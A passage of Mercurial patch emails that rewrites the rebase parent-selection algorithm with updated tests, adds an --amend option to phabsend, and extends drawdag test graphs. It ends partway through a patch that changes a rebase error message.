# User Jun Wu <quark@fb.com>
# Date 1502425831 25200
#      Thu Aug 10 21:30:31 2017 -0700
# Node ID 0975506120fb1d6fff0378870e78455094a5fbec
# Parent  f7d6978a4da9deed920535630c32509683f29915
rebase: rewrite core algorithm (issue5578) (issue5630)

"defineparents" is the core algorithm of rebase. The old code has too many
tech debts (like outdated comments, confusing assertions, etc) and is very
error-prone to be improved. This patch rewrites "defineparents" to make the
code easier to reason about, and solve a bunch of issues, including:

  - Assertion error: no base found (demonstrated by D212, issue5578)
  - Asymmetric result (demonstrated by D211, "F with one parent")
  - Wrong new parent (demonstrated by D262, "C':A'A'")
  - "revlog index out of range" (demonstrated by D262, issue5630)
  - "nothing to merge" (demonstrated by D262)

As a side effect, merge base decision has been made more solid - rebase now
prints out explicitly what could go wrong when it cannot find a unique
suitable merge base.

.. fix:: Issue 5578, Issue 5630

   Core rebase algorithm has been rewritten to be more robust.

Differential Revision: https://phab.mercurial-scm.org/D21

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -66,7 +66,6 @@
 revprecursor = -4
 # plain prune (no successor)
 revpruned = -5
-revskipped = (revignored, revprecursor, revpruned)
 
 cmdtable = {}
 command = registrar.command(cmdtable)
@@ -390,10 +389,7 @@
                 ui.status(_('rebasing %s\n') % desc)
                 ui.progress(_("rebasing"), pos, ("%d:%s" % (rev, ctx)),
                             _('changesets'), total)
-                p1, p2, base = defineparents(repo, rev, self.dest,
-                                             self.state,
-                                             self.destancestors,
-                                             self.obsoletenotrebased)
+                p1, p2, base = defineparents(repo, rev, self.dest, self.state)
                 self.storestatus(tr=tr)
                 storecollapsemsg(repo, self.collapsemsg)
                 if len(repo[None].parents()) == 2:
@@ -463,9 +459,7 @@
         repo, ui, opts = self.repo, self.ui, self.opts
         if self.collapsef and not self.keepopen:
             p1, p2, _base = defineparents(repo, min(self.state),
-                                          self.dest, self.state,
-                                          self.destancestors,
-                                          self.obsoletenotrebased)
+                                          self.dest, self.state)
             editopt = opts.get('edit')
             editform = 'rebase.collapse'
             if self.collapsemsg:
@@ -960,15 +954,6 @@
         result.append(adjusted)
     return result
 
-def nearestrebased(repo, rev, state):
-    """return the nearest ancestors of rev in the rebase result"""
-    rebased = [r for r in state if state[r] > nullmerge]
-    candidates = repo.revs('max(%ld  and (::%d))', rebased, rev)
-    if candidates:
-        return state[candidates.first()]
-    else:
-        return None
-
 def _checkobsrebase(repo, ui, rebaseobsrevs, rebasesetrevs, rebaseobsskipped):
     """
     Abort if rebase will create divergence or rebase is noop because of markers
@@ -992,107 +977,173 @@
               "experimental.allowdivergence=True")
         raise error.Abort(msg % (",".join(divhashes),), hint=h)
 
-def defineparents(repo, rev, dest, state, destancestors,
-                  obsoletenotrebased):
-    'Return the new parent relationship of the revision that will be rebased'
-    parents = repo[rev].parents()
-    p1 = p2 = nullrev
-    rp1 = None
+def successorrevs(repo, rev):
+    """yield revision numbers for successors of rev"""
+    unfi = repo.unfiltered()
+    nodemap = unfi.changelog.nodemap
+    for s in obsutil.allsuccessors(unfi.obsstore, [unfi[rev].node()]):
+        if s in nodemap:
+            yield nodemap[s]
+
+def defineparents(repo, rev, dest, state):
+    """Return new parents and optionally a merge base for rev being rebased
+
+    The destination specified by "dest" cannot always be used directly because
+    previously rebase result could affect destination. For example,
 
-    p1n = parents[0].rev()
-    if p1n in destancestors:
-        p1 = dest
-    elif p1n in state:
-        if state[p1n] == nullmerge:
-            p1 = dest
-        elif state[p1n] in revskipped:
-            p1 = nearestrebased(repo, p1n, state)
-            if p1 is None:
-                p1 = dest
-        else:
-            p1 = state[p1n]
-    else: # p1n external
-        p1 = dest
-        p2 = p1n
+          D E    rebase -r C+D+E -d B
+          |/     C will be rebased to C'
+        B C      D's new destination will be C' instead of B
+        |/       E's new destination will be C' instead of B
+        A
+
+    The new parents of a merge is slightly more complicated. See the comment
+    block below.
+    """
+    cl = repo.changelog
+    def isancestor(a, b):
+        # take revision numbers instead of nodes
+        if a == b:
+            return True
+        elif a > b:
+            return False
+        return cl.isancestor(cl.node(a), cl.node(b))
+
+    oldps = repo.changelog.parentrevs(rev) # old parents
+    newps = [nullrev, nullrev] # new parents
+    dests = adjustdest(repo, rev, dest, state) # adjusted destinations
+    bases = list(oldps) # merge base candidates, initially just old parents
 
-    if len(parents) == 2 and parents[1].rev() not in destancestors:
-        p2n = parents[1].rev()
-        # interesting second parent
-        if p2n in state:
-            if p1 == dest: # p1n in destancestors or external
-                p1 = state[p2n]
-                if p1 == revprecursor:
-                    rp1 = obsoletenotrebased[p2n]
-            elif state[p2n] in revskipped:
-                p2 = nearestrebased(repo, p2n, state)
-                if p2 is None:
-                    # no ancestors rebased yet, detach
-                    p2 = dest
-            else:
-                p2 = state[p2n]
-        else: # p2n external
-            if p2 != nullrev: # p1n external too => rev is a merged revision
-                raise error.Abort(_('cannot use revision %d as base, result '
-                        'would have 3 parents') % rev)
-            p2 = p2n
-    repo.ui.debug(" future parents are %d and %d\n" %
-                            (repo[rp1 or p1].rev(), repo[p2].rev()))
+    if all(r == nullrev for r in oldps[1:]):
+        # For non-merge changeset, just move p to adjusted dest as requested.
+        newps[0] = dests[0]
+    else:
+        # For merge changeset, if we move p to dests[i] unconditionally, both
+        # parents may change and the end result looks like "the merge loses a
+        # parent", which is a surprise. This is a limit because "--dest" only
+        # accepts one dest per src.
+        #
+        # Therefore, only move p with reasonable conditions (in this order):
+        #   1. use dest, if dest is a descendent of (p or one of p's successors)
+        #   2. use p's rebased result, if p is rebased (state[p] > 0)
+        #
+        # Comparing with adjustdest, the logic here does some additional work:
+        #   1. decide which parents will not be moved towards dest
+        #   2. if the above decision is "no", should a parent still be moved
+        #      because it was rebased?
+        #
+        # For example:
+        #
+        #     C    # "rebase -r C -d D" is an error since none of the parents
+        #    /|    # can be moved. "rebase -r B+C -d D" will move C's parent
+        #   A B D  # B (using rule "2."), since B will be rebased.
+        #
+        # The loop tries to be not rely on the fact that a Mercurial node has
+        # at most 2 parents.
+        for i, p in enumerate(oldps):
+            np = p # new parent
+            if any(isancestor(x, dests[i]) for x in successorrevs(repo, p)):
+                np = dests[i]
+            elif p in state and state[p] > 0:
+                np = state[p]
 
-    if not any(p.rev() in state for p in parents):
-        # Case (1) root changeset of a non-detaching rebase set.
-        # Let the merge mechanism find the base itself.
+            # "bases" only record "special" merge bases that cannot be
+            # calculated from changelog DAG (i.e. isancestor(p, np) is False).
+            # For example:
+            #
+            #   B'   # rebase -s B -d D, when B was rebased to B'. dest for C
+            #   | C  # is B', but merge base for C is B, instead of
+            #   D |  # changelog.ancestor(C, B') == A. If changelog DAG and
+            #   | B  # "state" edges are merged (so there will be an edge from
+            #   |/   # B to B'), the merge base is still ancestor(C, B') in
+            #   A    # the merged graph.
+            #
+            # Also see https://bz.mercurial-scm.org/show_bug.cgi?id=1950#c8
+            # which uses "virtual null merge" to explain this situation.
+            if isancestor(p, np):
+                bases[i] = nullrev
+
+            # If one parent becomes an ancestor of the other, drop the ancestor
+            for j, x in enumerate(newps[:i]):
+                if x == nullrev:
+                    continue
+                if isancestor(np, x):
+                    np = nullrev
+                elif isancestor(x, np):
+                    newps[j] = np
+                    np = nullrev
+                    bases[j], bases[i] = bases[i], bases[j]
+
+            newps[i] = np
+
+        # "rebasenode" updates to new p1, and the old p1 will be used as merge
+        # base. If only p2 changes, merging using unchanged p1 as merge base is
+        # suboptimal. Therefore swap parents to make the merge sane.
+        if newps[1] != nullrev and oldps[0] == newps[0]:
+            assert len(newps) == 2 and len(oldps) == 2
+            newps.reverse()
+            bases.reverse()
+
+        # No parent change might be an error because we fail to make rev a
+        # descendent of requested dest. This can happen, for example:
+        #
+        #     C    # rebase -r C -d D
+        #    /|    # None of A and B will be changed to D and rebase fails.
+        #   A B D
+        if set(newps) == set(oldps) and dest not in newps:
+            # The error message is for compatibility. It's a bit misleading
+            # since rebase is not supposed to add new parents.
+            raise error.Abort(_('cannot use revision %d as base, '
+                                'result would have 3 parents') % rev)
+
+    repo.ui.debug(" future parents are %d and %d\n" % tuple(newps))
+
+    # "rebasenode" updates to new p1, use the corresponding merge base.
+    if bases[0] != nullrev:
+        base = bases[0]
+    else:
         base = None
-    elif not repo[rev].p2():
-        # Case (2) detaching the node with a single parent, use this parent
-        base = repo[rev].p1().rev()
-    else:
-        # Assuming there is a p1, this is the case where there also is a p2.
-        # We are thus rebasing a merge and need to pick the right merge base.
-        #
-        # Imagine we have:
-        # - M: current rebase revision in this step
-        # - A: one parent of M
-        # - B: other parent of M
-        # - D: destination of this merge step (p1 var)
-        #
-        # Consider the case where D is a descendant of A or B and the other is
-        # 'outside'. In this case, the right merge base is the D ancestor.
-        #
-        # An informal proof, assuming A is 'outside' and B is the D ancestor:
-        #
-        # If we pick B as the base, the merge involves:
-        # - changes from B to M (actual changeset payload)
-        # - changes from B to D (induced by rebase) as D is a rebased
-        #   version of B)
-        # Which exactly represent the rebase operation.
-        #
-        # If we pick A as the base, the merge involves:
-        # - changes from A to M (actual changeset payload)
-        # - changes from A to D (with include changes between unrelated A and B
-        #   plus changes induced by rebase)
-        # Which does not represent anything sensible and creates a lot of
-        # conflicts. A is thus not the right choice - B is.
-        #
-        # Note: The base found in this 'proof' is only correct in the specified
-        # case. This base does not make sense if is not D a descendant of A or B
-        # or if the other is not parent 'outside' (especially not if the other
-        # parent has been rebased). The current implementation does not
-        # make it feasible to consider different cases separately. In these
-        # other cases we currently just leave it to the user to correctly
-        # resolve an impossible merge using a wrong ancestor.
-        #
-        # xx, p1 could be -4, and both parents could probably be -4...
-        for p in repo[rev].parents():
-            if state.get(p.rev()) == p1:
-                base = p.rev()
-                break
-        else: # fallback when base not found
-            base = None
+
+    # Check if the merge will contain unwanted changes. That may happen if
+    # there are multiple special (non-changelog ancestor) merge bases, which
+    # cannot be handled well by the 3-way merge algorithm. For example:
+    #
+    #     F
+    #    /|
+    #   D E  # "rebase -r D+E+F -d Z", when rebasing F, if "D" was chosen
+    #   | |  # as merge base, the difference between D and F will include
+    #   B C  # C, so the rebased F will contain C surprisingly. If "E" was
+    #   |/   #  chosen, the rebased F will contain B.
+    #   A Z
+    #
+    # But our merge base candidates (D and E in above case) could still be
+    # better than the default (ancestor(F, Z) == null). Therefore still
+    # pick one (so choose p1 above).
+    if sum(1 for b in bases if b != nullrev) > 1:
+        assert base is not None
 
-            # Raise because this function is called wrong (see issue 4106)
-            raise AssertionError('no base found to rebase on '
-                                 '(defineparents called wrong)')
-    return rp1 or p1, p2, base
+        # Revisions in the side (not chosen as merge base) branch that might
+        # contain "surprising" contents
+        siderevs = list(repo.revs('((%ld-%d) %% (%d+%d))',
+                                  bases, base, base, dest))
+
+        # If those revisions are covered by rebaseset, the result is good.
+        # A merge in rebaseset would be considered to cover its ancestors.
+        if siderevs:
+            rebaseset = [r for r, d in state.items() if d > 0]
+            merges = [r for r in rebaseset if cl.parentrevs(r)[1] != nullrev]
+            unwantedrevs = list(repo.revs('%ld - (::%ld) - %ld',
+                                          siderevs, merges, rebaseset))
+
+            # For revs not covered, it is worth a warning.
+            if unwantedrevs:
+                repo.ui.warn(
+                    _('warning: rebasing %d:%s may include unwanted changes '
+                      'from %s\n')
+                    % (rev, repo[rev], ', '.join('%d:%s' % (r, repo[r])
+                                                 for r in unwantedrevs)))
+
+    return newps[0], newps[1], base
 
 def isagitpatch(repo, patchname):
     'Return true if the given patch is in git format'
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
--- a/tests/test-rebase-brute-force.t
+++ b/tests/test-rebase-brute-force.t
@@ -31,8 +31,8 @@
     AD: A':Z D':Z
     BD: B':Z D':B'
    ABD: A':Z B':Z D':B'
-    CD: CRASH: revlog index out of range
-   ACD: A':Z C':A'A' D':Z
+    CD: ABORT: cannot use revision 3 as base, result would have 3 parents
+   ACD: A':Z C':A'B D':Z
    BCD: B':Z C':B'A D':B'
   ABCD: A':Z B':Z C':A'B' D':B'
 
@@ -52,4 +52,4 @@
     C: ABORT: cannot use revision 3 as base, result would have 3 parents
    BC: B':Z C':B'A
    AC: 
-  BAC: ABORT: nothing to merge
+  BAC: B':Z C':B'A
diff --git a/tests/test-rebase-newancestor.t b/tests/test-rebase-newancestor.t
--- a/tests/test-rebase-newancestor.t
+++ b/tests/test-rebase-newancestor.t
@@ -3,7 +3,7 @@
   > usegeneraldelta=yes
   > [extensions]
   > rebase=
-  > 
+  > drawdag=$TESTDIR/drawdag.py
   > [alias]
   > tglog = log -G --template "{rev}: '{desc}' {branches}\n"
   > EOF
@@ -334,3 +334,101 @@
   |/
   o  0: 'common'
   
+Due to the limitation of 3-way merge algorithm (1 merge base), rebasing a merge
+may include unwanted content:
+
+  $ hg init $TESTTMP/dual-merge-base1
+  $ cd $TESTTMP/dual-merge-base1
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C
+  > |/
+  > A Z
+  > |/
+  > R
+  > EOS
+  $ hg rebase -r D+E+F -d Z
+  rebasing 5:5f2c926dfecf "D" (D)
+  rebasing 6:b296604d9846 "E" (E)
+  rebasing 7:caa9781e507d "F" (F tip)
+  warning: rebasing 7:caa9781e507d may include unwanted changes from 4:d6003a550c2c
+  saved backup bundle to $TESTTMP/dual-merge-base1/.hg/strip-backup/b296604d9846-0516f6d2-rebase.hg (glob)
+  $ hg log -r 4 -T '{files}\n'
+  C
+  $ hg manifest -r 'desc(F)'
+  C
+  D
+  E
+  R
+  Z
+
+The warning does not get printed if there is no unwanted change detected:
+
+  $ hg init $TESTTMP/dual-merge-base2
+  $ cd $TESTTMP/dual-merge-base2
+  $ hg debugdrawdag <<'EOS'
+  >   D
+  >  /|
+  > B C
+  > |/
+  > A Z
+  > |/
+  > R
+  > EOS
+  $ hg rebase -r B+C+D -d Z
+  rebasing 3:c1e6b162678d "B" (B)
+  rebasing 4:d6003a550c2c "C" (C)
+  rebasing 5:c8f78076273e "D" (D tip)
+  saved backup bundle to $TESTTMP/dual-merge-base2/.hg/strip-backup/d6003a550c2c-6f1424b6-rebase.hg (glob)
+  $ hg manifest -r 'desc(D)'
+  B
+  C
+  R
+  Z
+
+The merge base could be different from old p1 (changed parent becomes new p1):
+
+  $ hg init $TESTTMP/chosen-merge-base1
+  $ cd $TESTTMP/chosen-merge-base1
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C Z
+  > EOS
+  $ hg rebase -r D+F -d Z
+  rebasing 3:004dc1679908 "D" (D)
+  rebasing 5:4be4cbf6f206 "F" (F tip)
+  saved backup bundle to $TESTTMP/chosen-merge-base1/.hg/strip-backup/004dc1679908-06a66a3c-rebase.hg (glob)
+  $ hg manifest -r 'desc(F)'
+  C
+  D
+  E
+  Z
+  $ hg log -r `hg log -r 'desc(F)' -T '{p1node}'` -T '{desc}\n'
+  D
+
+  $ hg init $TESTTMP/chosen-merge-base2
+  $ cd $TESTTMP/chosen-merge-base2
+  $ hg debugdrawdag <<'EOS'
+  >   F
+  >  /|
+  > D E
+  > | |
+  > B C Z
+  > EOS
+  $ hg rebase -r E+F -d Z
+  rebasing 4:974e4943c210 "E" (E)
+  rebasing 5:4be4cbf6f206 "F" (F tip)
+  saved backup bundle to $TESTTMP/chosen-merge-base2/.hg/strip-backup/974e4943c210-b2874da5-rebase.hg (glob)
+  $ hg manifest -r 'desc(F)'
+  B
+  D
+  E
+  Z
+  $ hg log -r `hg log -r 'desc(F)' -T '{p1node}'` -T '{desc}\n'
+  E
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -488,9 +488,14 @@
   >   A
   > EOF
 
-BROKEN: This raises an exception
-  $ hg rebase -d G -r 'B + D + F' 2>&1 | grep '^AssertionError'
-  AssertionError: no base found to rebase on (defineparents called wrong)
+  $ hg rebase -d G -r 'B + D + F'
+  rebasing 1:112478962961 "B" (B)
+  rebasing 2:b18e25de2cf5 "D" (D)
+  not rebasing ignored 4:26805aba1e60 "C" (C)
+  not rebasing ignored 5:4b61ff5c62e2 "E" (E)
+  rebasing 6:f15c3adaf214 "F" (F tip)
+  abort: cannot use revision 6 as base, result would have 3 parents
+  [255]
 
   $ cd ..
 
@@ -962,17 +967,19 @@
   >   A
   > EOF
 
-BROKEN: Raises an exception
-  $ hg rebase -d B -s E 2>&1 | grep AssertionError:
-  AssertionError: no base found to rebase on (defineparents called wrong)
+  $ hg rebase -d B -s E
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  rebasing 4:66f1a38021c9 "F" (F tip)
   $ hg log -G
-  o    4:66f1a38021c9 F
+  o    5:aae1787dacee F
   |\
-  | x  3:7fb047a69f22 E
-  | |
-  o |  2:b18e25de2cf5 D
-  |/
-  | o  1:112478962961 B
+  | | x  4:66f1a38021c9 F
+  | |/|
+  | | x  3:7fb047a69f22 E
+  | | |
+  | o |  2:b18e25de2cf5 D
+  | |/
+  o /  1:112478962961 B
   |/
   o  0:426bada5c675 A
   
@@ -994,19 +1001,19 @@
   $ hg rebase -d C -s D
   note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
   rebasing 5:66f1a38021c9 "F" (F tip)
-BROKEN: not rebased on top of requested destination (C)
+
   $ hg log -G
-  o    6:50e9d60b99c6 F
+  o    6:0913febf6439 F
   |\
-  | | x  5:66f1a38021c9 F
-  | |/|
-  +-----o  4:26805aba1e60 C
+  +---x  5:66f1a38021c9 F
+  | | |
+  | o |  4:26805aba1e60 C
   | | |
-  | o |  3:7fb047a69f22 E
+  o | |  3:7fb047a69f22 E
   | | |
-  | | x  2:b18e25de2cf5 D
-  | |/
-  o |  1:112478962961 B
+  +---x  2:b18e25de2cf5 D
+  | |
+  | o  1:112478962961 B
   |/
   o  0:426bada5c675 A
   
@@ -1025,19 +1032,21 @@
   >   A
   > EOF
 
-BROKEN: Raises an exception
-  $ hg rebase -d C -s E 2>&1 | grep AssertionError:
-  AssertionError: no base found to rebase on (defineparents called wrong)
+  $ hg rebase -d C -s E
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  rebasing 5:66f1a38021c9 "F" (F tip)
   $ hg log -G
-  o    5:66f1a38021c9 F
+  o    6:c6ab0cc6d220 F
   |\
-  | | o  4:26805aba1e60 C
+  +---x  5:66f1a38021c9 F
   | | |
-  | x |  3:7fb047a69f22 E
+  | o |  4:26805aba1e60 C
   | | |
-  o | |  2:b18e25de2cf5 D
-  |/ /
-  | o  1:112478962961 B
+  | | x  3:7fb047a69f22 E
+  | | |
+  o---+  2:b18e25de2cf5 D
+   / /
+  o /  1:112478962961 B
   |/
   o  0:426bada5c675 A
   
@@ -1060,6 +1069,7 @@
   rebasing 2:b18e25de2cf5 "D" (D)
   note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
   rebasing 5:66f1a38021c9 "F" (F tip)
+  warning: rebasing 5:66f1a38021c9 may include unwanted changes from 3:7fb047a69f22
   $ hg log -G
   o  7:9ed45af61fa0 F
   |
@@ -1096,13 +1106,13 @@
   note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
   rebasing 3:7fb047a69f22 "E" (E)
   rebasing 5:66f1a38021c9 "F" (F tip)
-BROKEN: This should have resulted in a rebased F with one parent, just like in
-the test case above
+  warning: rebasing 5:66f1a38021c9 may include unwanted changes from 2:b18e25de2cf5
+
   $ hg log -G
-  o    7:c1e6f26e339d F
-  |\
-  | o  6:533690786a86 E
-  |/
+  o  7:502540f44880 F
+  |
+  o  6:533690786a86 E
+  |
   | x    5:66f1a38021c9 F
   | |\
   o | |  4:26805aba1e60 C
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1501875569 25200
#      Fri Aug 04 12:39:29 2017 -0700
# Node ID fa3aa6c98bb79575b87d708654f94bfa2c602eb4
# Parent  0975506120fb1d6fff0378870e78455094a5fbec
phabricator: add --amend option to phabsend

Previously `hg phabsend` was imitating `hg email` and won't mutate
changesets. That works fine with reviewer-push workflow, reviewers run
`phabread`, `import`.

However, it does not work well with author-push workflow. Namely, the author
needs to run extra commands to get the right commit message, and remove the
local tag after push.

This patch solves those issues by adding the `--amend` option, so local
changesets will have the right commit message, and tags become unnecessary.

Test Plan:
Given the following DAG:

  o  17
  o  16
  | o  15
  | @  14
  |/
  o  13
  o  12

Run `hg phabsend '(13::)-17'  --amend`, check the new DAG looks like:


  o  21
  | o  20
  | @  19
  |/
  o  18
  | o  17
  | x  16
  | x  13
  |/
  o  12

And commit messages are updated to contain the `Differential Revision` lines.
Use `phabread` to make sure Phabricator has the amended node recorded.

Also check `phabsend .` followed by a `phabsend . --amend`, the commit
message will be updated and the tag will be removed.

Differential Revision: https://phab.mercurial-scm.org/D122

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -38,6 +38,8 @@
 from mercurial.node import bin, nullid
 from mercurial.i18n import _
 from mercurial import (
+    cmdutil,
+    context,
     encoding,
     error,
     mdiff,
@@ -315,7 +317,7 @@
     if not revision:
         raise error.Abort(_('cannot create revision for %s') % ctx)
 
-    return revision
+    return revision, diff
 
 def userphids(repo, names):
     """convert user names to PHIDs"""
@@ -333,6 +335,7 @@
 
 @command('phabsend',
          [('r', 'rev', [], _('revisions to send'), _('REV')),
+          ('', 'amend', False, _('update commit messages')),
           ('', 'reviewer', [], _('specify reviewers')),
           ('', 'confirm', None, _('ask for confirmation before sending'))],
          _('REV [OPTIONS]'))
@@ -348,18 +351,28 @@
     obsstore and tags information so it can figure out whether to update an
     existing Differential Revision, or create a new one.
 
+    If --amend is set, update commit messages so they have the
+    ``Differential Revision`` URL, remove related tags. This is similar to what
+    arcanist will do, and is more desired in author-push workflows. Otherwise,
+    use local tags to record the ``Differential Revision`` association.
+
     The --confirm option lets you confirm changesets before sending them. You
     can also add following to your configuration file to make it default
     behaviour.
 
     [phabsend]
     confirm = true
+
+    phabsend will check obsstore and the above association to decide whether to
+    update an existing Differential Revision, or create a new one.
     """
     revs = list(revs) + opts.get('rev', [])
     revs = scmutil.revrange(repo, revs)
 
     if not revs:
         raise error.Abort(_('phabsend requires at least one changeset'))
+    if opts.get('amend'):
+        cmdutil.checkunfinished(repo)
 
     confirm = ui.configbool('phabsend', 'confirm')
     confirm |= bool(opts.get('confirm'))
@@ -377,6 +390,9 @@
     # {newnode: (oldnode, olddiff, olddrev}
     oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
 
+    drevids = [] # [int]
+    diffmap = {} # {newnode: diff}
+
     # Send patches one by one so we know their Differential Revision IDs and
     # can provide dependency relationship
     lastrevid = None
@@ -386,20 +402,24 @@
 
         # Get Differential Revision ID
         oldnode, olddiff, revid = oldmap.get(ctx.node(), (None, None, None))
-        if oldnode != ctx.node():
+        if oldnode != ctx.node() or opts.get('amend'):
             # Create or update Differential Revision
-            revision = createdifferentialrevision(ctx, revid, lastrevid,
-                                                  oldnode, olddiff, actions)
+            revision, diff = createdifferentialrevision(
+                ctx, revid, lastrevid, oldnode, olddiff, actions)
+            diffmap[ctx.node()] = diff
             newrevid = int(revision[r'object'][r'id'])
             if revid:
                 action = _('updated')
             else:
                 action = _('created')
 
-            # Create a local tag to note the association
-            tagname = 'D%d' % newrevid
-            tags.tag(repo, tagname, ctx.node(), message=None, user=None,
-                     date=None, local=True)
+            # Create a local tag to note the association, if commit message
+            # does not have it already
+            m = _differentialrevisiondescre.search(ctx.description())
+            if not m or int(m.group(1)) != newrevid:
+                tagname = 'D%d' % newrevid
+                tags.tag(repo, tagname, ctx.node(), message=None, user=None,
+                         date=None, local=True)
         else:
             # Nothing changed. But still set "newrevid" so the next revision
             # could depend on this one.
@@ -408,8 +428,43 @@
 
         ui.write(_('D%s: %s - %s: %s\n') % (newrevid, action, ctx,
                                             ctx.description().split('\n')[0]))
+        drevids.append(newrevid)
         lastrevid = newrevid
 
+    # Update commit messages and remove tags
+    if opts.get('amend'):
+        unfi = repo.unfiltered()
+        drevs = callconduit(repo, 'differential.query', {'ids': drevids})
+        with repo.wlock(), repo.lock(), repo.transaction('phabsend'):
+            wnode = unfi['.'].node()
+            mapping = {} # {oldnode: [newnode]}
+            for i, rev in enumerate(revs):
+                old = unfi[rev]
+                drevid = drevids[i]
+                drev = [d for d in drevs if int(d[r'id']) == drevid][0]
+                newdesc = getdescfromdrev(drev)
+                # Make sure commit message contain "Differential Revision"
+                if old.description() != newdesc:
+                    parents = [
+                        mapping.get(old.p1().node(), (old.p1(),))[0],
+                        mapping.get(old.p2().node(), (old.p2(),))[0],
+                    ]
+                    new = context.metadataonlyctx(
+                        repo, old, parents=parents, text=newdesc,
+                        user=old.user(), date=old.date(), extra=old.extra())
+                    newnode = new.commit()
+                    mapping[old.node()] = [newnode]
+                    # Update diff property
+                    writediffproperties(unfi[newnode], diffmap[old.node()])
+                # Remove local tags since it's no longer necessary
+                tagname = 'D%d' % drevid
+                if tagname in repo.tags():
+                    tags.tag(repo, tagname, nullid, message=None, user=None,
+                             date=None, local=True)
+            scmutil.cleanupnodes(repo, mapping, 'phabsend')
+            if wnode in mapping:
+                unfi.setparents(mapping[wnode][0])
+
 # Map from "hg:meta" keys to header understood by "hg import". The order is
 # consistent with "hg export" output.
 _metanamemap = util.sortdict([(r'user', 'User'), (r'date', 'Date'),
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502719358 25200
#      Mon Aug 14 07:02:38 2017 -0700
# Node ID 0531ffd59a981f1f237c0aac82f9f74be7ddf153
# Parent  fa3aa6c98bb79575b87d708654f94bfa2c602eb4
drawdag: allow override file contents via comments

This makes drawdag more flexible, and allow us to create non-clean merges in
test cases.

Differential Revision: https://phab.mercurial-scm.org/D385

diff --git a/tests/drawdag.py b/tests/drawdag.py
--- a/tests/drawdag.py
+++ b/tests/drawdag.py
@@ -84,6 +84,7 @@
 
 import collections
 import itertools
+import re
 
 from mercurial.i18n import _
 from mercurial import (
@@ -275,6 +276,12 @@
                 if leaf in v:
                     v.remove(leaf)
 
+def _getcomments(text):
+    for line in text.splitlines():
+        if ' # ' not in line:
+            continue
+        yield line.split(' # ', 1)[1].split(' # ')[0].strip()
+
 @command('debugdrawdag', [])
 def debugdrawdag(ui, repo, **opts):
     """read an ASCII graph from stdin and create changesets
@@ -301,6 +308,13 @@
             raise error.Abort(_('%s: too many parents: %s')
                               % (k, ' '.join(v)))
 
+    # parse comments to get extra file content instructions
+    files = collections.defaultdict(dict) # {(name, path): content}
+    comments = list(_getcomments(text))
+    filere = re.compile(r'^(\w+)/([\w/]+)\s*=\s*(.*)$', re.M)
+    for name, path, content in filere.findall('\n'.join(comments)):
+        files[name][path] = content.replace(r'\n', '\n')
+
     committed = {None: node.nullid}  # {name: node}
 
     # for leaf nodes, try to find existing nodes in repo
@@ -326,6 +340,9 @@
         else:
             # If it's not a merge, add a single file
             added[name] = name
+        # add extra file contents in comments
+        for path, content in files.get(name, {}).items():
+            added[path] = content
         ctx = simplecommitctx(repo, name, pctxs, added)
         n = ctx.commit()
         committed[name] = n
@@ -335,12 +352,8 @@
     # handle special comments
     with repo.wlock(), repo.lock(), repo.transaction('drawdag'):
         getctx = lambda x: repo.unfiltered()[committed[x.strip()]]
-        for line in text.splitlines():
-            if ' # ' not in line:
-                continue
-
+        for comment in comments:
             rels = [] # obsolete relationships
-            comment = line.split(' # ', 1)[1].split(' # ')[0].strip()
             args = comment.split(':', 1)
             if len(args) <= 1:
                 continue
diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -232,3 +232,41 @@
   be0ef73c17ade3fc89dc41701eb9fc3a91b58282 575c4b5ec114d64b681d33f8792853568bfb2b2c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   64a8289d249234b9886244d379f15e6b650b28e3 0 {7fb047a69f220c21711122dfd94305a9efb60cba} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   58e6b987bf7045fcd9c54f496396ca1d1fc81047 0 {575c4b5ec114d64b681d33f8792853568bfb2b2c} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+
+Change file contents via comments
+
+  $ reinit
+  $ hg debugdrawdag <<'EOS'
+  > C       # A/dir1/a = 1\n2
+  > |\      # B/dir2/b = 34
+  > A B     # C/dir1/c = 5
+  >         # C/dir2/c = 6
+  >         # C/A = a
+  >         # C/B = b
+  > EOS
+
+  $ hg log -G -T '{desc} {files}'
+  o    C A B dir1/c dir2/c
+  |\
+  | o  B B dir2/b
+  |
+  o  A A dir1/a
+  
+  $ for f in `hg files -r C`; do
+  >   echo FILE "$f"
+  >   hg cat -r C "$f"
+  >   echo
+  > done
+  FILE A
+  a
+  FILE B
+  b
+  FILE dir1/a
+  1
+  2
+  FILE dir1/c
+  5
+  FILE dir2/b
+  34
+  FILE dir2/c
+  6
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502596866 25200
#      Sat Aug 12 21:01:06 2017 -0700
# Node ID 19f495fef0a348811e77ff6b9fc7a6b47f02497c
# Parent  0531ffd59a981f1f237c0aac82f9f74be7ddf153
rebase: change "result would have 3 parent" error message (BC)

The old error message "cannot use revision REV as base, result would have 3
parents" is confusing - why use REV as base? why add a new parent?.

This patch changes it to "cannot move parent", which seems better.

Differential Revision: https://phab.mercurial-scm.org/D342

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1091,10 +1091,9 @@
